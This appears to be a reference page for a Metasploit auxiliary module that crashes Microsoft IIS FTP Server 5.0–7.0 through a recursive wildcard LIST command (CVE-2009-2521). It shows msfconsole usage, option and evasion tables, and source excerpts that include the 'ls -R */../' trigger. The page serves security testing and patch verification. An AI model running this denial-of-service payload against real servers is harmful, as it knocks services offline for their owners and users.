Microsoft IIS FTP Server LIST Stack Exhaustion - Metasploit


This page contains detailed information about how to use the auxiliary/dos/windows/ftp/iis_list_exhaustion metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Microsoft IIS FTP Server LIST Stack Exhaustion
Module: auxiliary/dos/windows/ftp/iis_list_exhaustion
Source code: modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb
Disclosure date: 2009-09-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: CVE-2009-2521

This module triggers Denial of Service condition in the Microsoft Internet Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command containing a wildcard. For this exploit to work in most cases, you need 1) a valid ftp account: either read-only or write-access account 2) the "FTP Publishing" must be configured as "manual" mode in startup type 3) there must be at least one directory under FTP root directory. If your provided an FTP account has write-access privilege and there is no single directory, a new directory with random name will be created prior to sending exploit payload.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/windows/ftp/iis_list_exhaustion
msf auxiliary(iis_list_exhaustion) > show targets
    ... a list of targets ...
msf auxiliary(iis_list_exhaustion) > set TARGET target-id
msf auxiliary(iis_list_exhaustion) > show options
    ... show and set options ...
msf auxiliary(iis_list_exhaustion) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage

Here is how the dos/windows/ftp/iis_list_exhaustion auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/windows/ftp/iis_list_exhaustion

msf6 auxiliary(dos/windows/ftp/iis_list_exhaustion) > show info

       Name: Microsoft IIS FTP Server LIST Stack Exhaustion
     Module: auxiliary/dos/windows/ftp/iis_list_exhaustion
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-09-03

Provided by:
  Kingcope
  Myo Soe

Check supported:
  No

Basic options:
  Name     Current Setting      Required  Description
  ----     ---------------      --------  -----------
  FTPPASS  [email protected]  no        The password for the specified username
  FTPUSER  anonymous            no        The username to authenticate as
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    21                   yes       The target port (TCP)

Description:
  This module triggers Denial of Service condition in the Microsoft 
  Internet Information Services (IIS) FTP Server 5.0 through 7.0 via a 
  list (ls) -R command containing a wildcard. For this exploit to work 
  in most cases, you need 1) a valid ftp account: either read-only or 
  write-access account 2) the "FTP Publishing" must be configured as 
  "manual" mode in startup type 3) there must be at least one 
  directory under FTP root directory. If your provided an FTP account 
  has write-access privilege and there is no single directory, a new 
  directory with random name will be created prior to sending exploit 
  payload.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2009-2521
  http://www.securityfocus.com/bid/36273
  OSVDB (57753)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2009/MS09-053
  http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0040.html

Module Options

This is a complete list of options available in the dos/windows/ftp/iis_list_exhaustion auxiliary module:

msf6 auxiliary(dos/windows/ftp/iis_list_exhaustion) > show options

Module options (auxiliary/dos/windows/ftp/iis_list_exhaustion):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  [email protected]  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21                   yes       The target port (TCP)

Advanced Options

Here is a complete list of advanced options supported by the dos/windows/ftp/iis_list_exhaustion auxiliary module:

msf6 auxiliary(dos/windows/ftp/iis_list_exhaustion) > show advanced

Module advanced options (auxiliary/dos/windows/ftp/iis_list_exhaustion):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   FTPDEBUG        false            no        Whether or not to print verbose debug statements
   FTPTimeout      16               yes       The number of seconds to wait for a reply from an FTP command
   PassiveMode     false            no        Set true for extended passive (EPSV) ftp mode.
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/windows/ftp/iis_list_exhaustion module can do:

msf6 auxiliary(dos/windows/ftp/iis_list_exhaustion) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/windows/ftp/iis_list_exhaustion auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/windows/ftp/iis_list_exhaustion) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No single directory found

Here is a relevant code snippet related to the "No single directory found" error message:

45:	      res = send_cmd_data(['ls'],'')
46:	
47:	      if res.to_s =~ /\<DIR\>          / then
48:	        print_status('Directory found, skipped creating a directory')
49:	      else
50:	        print_status('No single directory found')
51:	        print_status('Attempting to create a directory ...')
52:	        new_dir = Rex::Text.rand_text_alphanumeric(6)
53:	        res = send_cmd(['mkd',new_dir])
54:	        if res =~ /directory created/ then
55:	          print_status("New directory \"#{new_dir}\" was created!")

Write-access was denied

Here is a relevant code snippet related to the "Write-access was denied" error message:

52:	        new_dir = Rex::Text.rand_text_alphanumeric(6)
53:	        res = send_cmd(['mkd',new_dir])
54:	        if res =~ /directory created/ then
55:	          print_status("New directory \"#{new_dir}\" was created!")
56:	        else
57:	          print_error('Write-access was denied')
58:	          print_error('Exploit failed')
59:	          disconnect
60:	          return
61:	        end
62:	      end

Exploit failed

Here is a relevant code snippet related to the "Exploit failed" error message:

53:	        res = send_cmd(['mkd',new_dir])
54:	        if res =~ /directory created/ then
55:	          print_status("New directory \"#{new_dir}\" was created!")
56:	        else
57:	          print_error('Write-access was denied')
58:	          print_error('Exploit failed')
59:	          disconnect
60:	          return
61:	        end
62:	      end
63:

Cannot connect. The server is not running.

Here is a relevant code snippet related to the "Cannot connect. The server is not running." error message:

65:	      res = send_cmd_datax(['ls','-R */../'],' ')
66:	      disconnect
67:	    rescue ::Interrupt
68:	      raise $!
69:	    rescue ::Rex::ConnectionRefused
70:	      print_error("Cannot connect. The server is not running.")
71:	      return
72:	    rescue Rex::ConnectionTimeout
73:	      print_error("Cannot connect. The connection timed out.")
74:	      return
75:	    rescue

Cannot connect. The connection timed out.

Here is a relevant code snippet related to the "Cannot connect. The connection timed out." error message:

68:	      raise $!
69:	    rescue ::Rex::ConnectionRefused
70:	      print_error("Cannot connect. The server is not running.")
71:	      return
72:	    rescue Rex::ConnectionTimeout
73:	      print_error("Cannot connect. The connection timed out.")
74:	      return
75:	    rescue
76:	    end
77:	
78:	    #More careful way to check DOS

DOS attempt failed. The service is still running.

Here is a relevant code snippet related to the "DOS attempt failed. The service is still running." error message:

78:	    #More careful way to check DOS
79:	    print_status("Checking server's status...")
80:	    begin
81:	      connect_login
82:	      disconnect
83:	      print_error("DOS attempt failed.  The service is still running.")
84:	    rescue
85:	      print_good("Success! Service is down")
86:	    end
87:	  end
88:

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Kingcope
  • Myo Soe

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.